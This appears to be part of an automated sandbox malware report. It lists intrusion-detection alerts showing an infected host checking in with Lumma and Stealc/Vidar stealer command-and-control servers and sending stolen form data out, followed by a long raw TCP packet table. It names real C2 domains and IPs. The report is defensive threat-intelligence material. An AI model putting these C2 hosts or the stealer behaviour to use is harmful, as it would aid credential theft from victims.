2024-09-26T19:05:36.552715+0200	2056155	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)	1	192.168.2.4	59738	188.114.96.3	443	TCP
2024-09-26T19:05:37.031624+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59738	188.114.96.3	443	TCP
2024-09-26T19:05:37.031624+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59738	188.114.96.3	443	TCP
2024-09-26T19:05:37.036677+0200	2056152	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)	1	192.168.2.4	50252	1.1.1.1	53	UDP
2024-09-26T19:05:37.555316+0200	2056153	ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)	1	192.168.2.4	59739	188.114.96.3	443	TCP
2024-09-26T19:05:38.008760+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59739	188.114.96.3	443	TCP
2024-09-26T19:05:38.008760+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59739	188.114.96.3	443	TCP
2024-09-26T19:05:38.011339+0200	2056150	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)	1	192.168.2.4	63300	1.1.1.1	53	UDP
2024-09-26T19:05:38.538168+0200	2056151	ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)	1	192.168.2.4	59740	172.67.208.139	443	TCP
2024-09-26T19:05:38.979775+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59740	172.67.208.139	443	TCP
2024-09-26T19:05:38.979775+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59740	172.67.208.139	443	TCP
2024-09-26T19:05:41.779162+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59742	104.21.2.13	443	TCP
2024-09-26T19:05:41.779162+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59742	104.21.2.13	443	TCP
2024-09-26T19:05:49.160557+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59744	5.75.211.162	443	TCP
2024-09-26T19:05:50.313056+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59745	5.75.211.162	443	TCP
2024-09-26T19:05:51.711100+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59746	5.75.211.162	443	TCP
2024-09-26T19:05:53.086895+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59747	5.75.211.162	443	TCP
2024-09-26T19:05:53.787255+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.75.211.162	443	192.168.2.4	59747	TCP
2024-09-26T19:05:54.489760+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59748	5.75.211.162	443	TCP
2024-09-26T19:05:55.201743+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	59748	5.75.211.162	443	TCP
2024-09-26T19:05:55.202307+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.75.211.162	443	192.168.2.4	59748	TCP
2024-09-26T19:05:55.927470+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59749	5.75.211.162	443	TCP
2024-09-26T19:05:57.179742+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59750	5.75.211.162	443	TCP
2024-09-26T19:06:00.329065+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59751	5.75.211.162	443	TCP
2024-09-26T19:06:01.452654+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59752	5.75.211.162	443	TCP
2024-09-26T19:06:02.830176+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59753	5.75.211.162	443	TCP
2024-09-26T19:06:03.874111+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59754	5.75.211.162	443	TCP
2024-09-26T19:06:05.099571+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59755	5.75.211.162	443	TCP
2024-09-26T19:06:07.908809+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59757	5.75.211.162	443	TCP
2024-09-26T19:06:09.634088+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59758	5.75.211.162	443	TCP
2024-09-26T19:06:11.346851+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59759	5.75.211.162	443	TCP
2024-09-26T19:06:12.925825+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59760	5.75.211.162	443	TCP
2024-09-26T19:06:14.205192+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59761	5.75.211.162	443	TCP
2024-09-26T19:06:17.269985+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59762	5.75.211.162	443	TCP
2024-09-26T19:06:18.543739+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59763	5.75.211.162	443	TCP
2024-09-26T19:06:19.904342+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59764	5.75.211.162	443	TCP
2024-09-26T19:06:21.438795+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59765	5.75.211.162	443	TCP
2024-09-26T19:06:23.583245+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59766	5.75.211.162	443	TCP
2024-09-26T19:06:25.573056+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59767	5.75.211.162	443	TCP
2024-09-26T19:06:27.897975+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59768	172.105.54.160	443	TCP
2024-09-26T19:06:29.847709+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59769	5.75.211.162	443	TCP
2024-09-26T19:06:29.943268+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.4	59770	188.114.96.3	443	TCP
2024-09-26T19:06:30.456255+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59770	188.114.96.3	443	TCP
2024-09-26T19:06:30.456255+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59770	188.114.96.3	443	TCP
2024-09-26T19:06:30.946401+0200	2056165	ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)	1	192.168.2.4	59771	104.21.4.136	443	TCP
2024-09-26T19:06:32.331144+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59772	172.105.54.160	443	TCP
2024-09-26T19:06:33.887060+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59771	104.21.4.136	443	TCP
2024-09-26T19:06:33.887060+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59771	104.21.4.136	443	TCP
2024-09-26T19:06:34.108574+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59773	5.75.211.162	443	TCP
2024-09-26T19:06:34.403691+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.4	59774	188.114.96.3	443	TCP
2024-09-26T19:06:34.960517+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59774	188.114.96.3	443	TCP
2024-09-26T19:06:34.960517+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59774	188.114.96.3	443	TCP
2024-09-26T19:06:35.549648+0200	2056161	ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)	1	192.168.2.4	59775	188.114.97.3	443	TCP
2024-09-26T19:06:35.754462+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59776	5.75.211.162	443	TCP
2024-09-26T19:06:37.249091+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.4	59777	45.132.206.251	80	TCP
2024-09-26T19:06:37.985426+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59775	188.114.97.3	443	TCP
2024-09-26T19:06:37.985426+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59775	188.114.97.3	443	TCP
2024-09-26T19:06:38.486489+0200	2056159	ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)	1	192.168.2.4	59778	188.114.96.3	443	TCP
2024-09-26T19:06:40.681171+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59778	188.114.96.3	443	TCP
2024-09-26T19:06:40.681171+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59778	188.114.96.3	443	TCP
2024-09-26T19:06:41.179233+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.4	59779	172.67.162.108	443	TCP
2024-09-26T19:06:42.268341+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59779	172.67.162.108	443	TCP
2024-09-26T19:06:42.268341+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59779	172.67.162.108	443	TCP
2024-09-26T19:06:42.761732+0200	2056155	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)	1	192.168.2.4	59780	188.114.96.3	443	TCP
2024-09-26T19:06:43.234227+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59780	188.114.96.3	443	TCP
2024-09-26T19:06:43.234227+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59780	188.114.96.3	443	TCP
2024-09-26T19:06:43.742979+0200	2056153	ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)	1	192.168.2.4	59781	188.114.96.3	443	TCP
2024-09-26T19:06:44.230119+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59781	188.114.96.3	443	TCP
2024-09-26T19:06:44.230119+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59781	188.114.96.3	443	TCP
2024-09-26T19:06:44.745727+0200	2056151	ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)	1	192.168.2.4	59782	172.67.208.139	443	TCP
2024-09-26T19:06:45.180325+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59782	172.67.208.139	443	TCP
2024-09-26T19:06:45.180325+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59782	172.67.208.139	443	TCP
2024-09-26T19:06:47.412344+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59784	104.21.2.13	443	TCP
2024-09-26T19:06:47.412344+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59784	104.21.2.13	443	TCP
2024-09-26T19:06:55.107614+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59786	5.75.211.162	443	TCP
2024-09-26T19:06:56.435224+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59787	5.75.211.162	443	TCP
2024-09-26T19:06:57.916233+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59788	5.75.211.162	443	TCP
2024-09-26T19:06:59.402777+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59789	5.75.211.162	443	TCP
2024-09-26T19:07:00.126301+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.75.211.162	443	192.168.2.4	59789	TCP
2024-09-26T19:07:00.848343+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59790	5.75.211.162	443	TCP
2024-09-26T19:07:01.535304+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.75.211.162	443	192.168.2.4	59790	TCP
2024-09-26T19:07:02.477421+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59791	5.75.211.162	443	TCP
2024-09-26T19:07:03.529271+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59792	5.75.211.162	443	TCP
2024-09-26T19:07:06.659935+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59793	5.75.211.162	443	TCP
2024-09-26T19:07:07.688641+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	59794	5.75.211.162	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 19:05:08.461169004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:08.475094080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:08.475171089 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:08.475912094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:08.495337009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.171648026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.171786070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.175467014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.190992117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.401009083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.401137114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.416335106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.422735929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.600316048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.600392103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.600451946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.600533009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.602312088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.610255003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.797771931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.797787905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.797800064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.798012972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.798996925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.799007893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.799020052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.799031973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.799074888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.799076080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.799457073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.800170898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.801135063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.808866024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.983465910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:09.983604908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.999804020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:09.999804020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.007067919 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.007342100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.007352114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.007627964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.007637978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.246885061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.246999979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.247751951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.253720999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.425964117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.426071882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.426098108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.426147938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.426367044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.426383972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.426415920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.426440954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.427761078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.427840948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.428040028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.428086996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.428440094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.428500891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.428845882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.428891897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.429812908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.429858923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.429913998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.429955959 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.430588007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.430628061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.430687904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.430731058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.431593895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.431642056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.431695938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.431742907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.432491064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.432528973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.508240938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.508275032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.508285999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.508337021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.508354902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.508517981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.508529902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.508542061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.508570910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.508593082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.508985043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.509040117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.509257078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.509304047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.512473106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.512538910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.512636900 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.512648106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.512676001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.512693882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.512845039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.512857914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.512896061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.513297081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.513323069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.513339043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.513344049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.513412952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.513412952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.513894081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.513940096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.514050961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.514064074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.514095068 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.514416933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.514465094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.514483929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.514496088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.514508009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.514519930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.514532089 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.514558077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.515018940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.515080929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.515208006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.515219927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.515297890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.515297890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.515595913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.515614986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.515630960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.515656948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.515671968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.515986919 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.516057014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.516130924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.516176939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.593880892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.593966961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.593985081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.594145060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.594145060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.594472885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.594487906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.594527006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.594557047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.595664024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.595810890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.595871925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.595920086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.597007990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.597047091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.597057104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.597069979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.597090006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.597101927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.597522974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.597537994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.597558022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.597573042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.597584963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.597605944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.597632885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.598666906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.598726034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.598742008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.598753929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.598764896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.598773956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.598797083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.603125095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.603138924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.603156090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.603194952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.603208065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.603687048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.603701115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.603718042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.603732109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.603741884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.603750944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.603766918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.603780031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.604316950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.604331017 CEST	80	49735	46.8.231.109	192.168.2.4
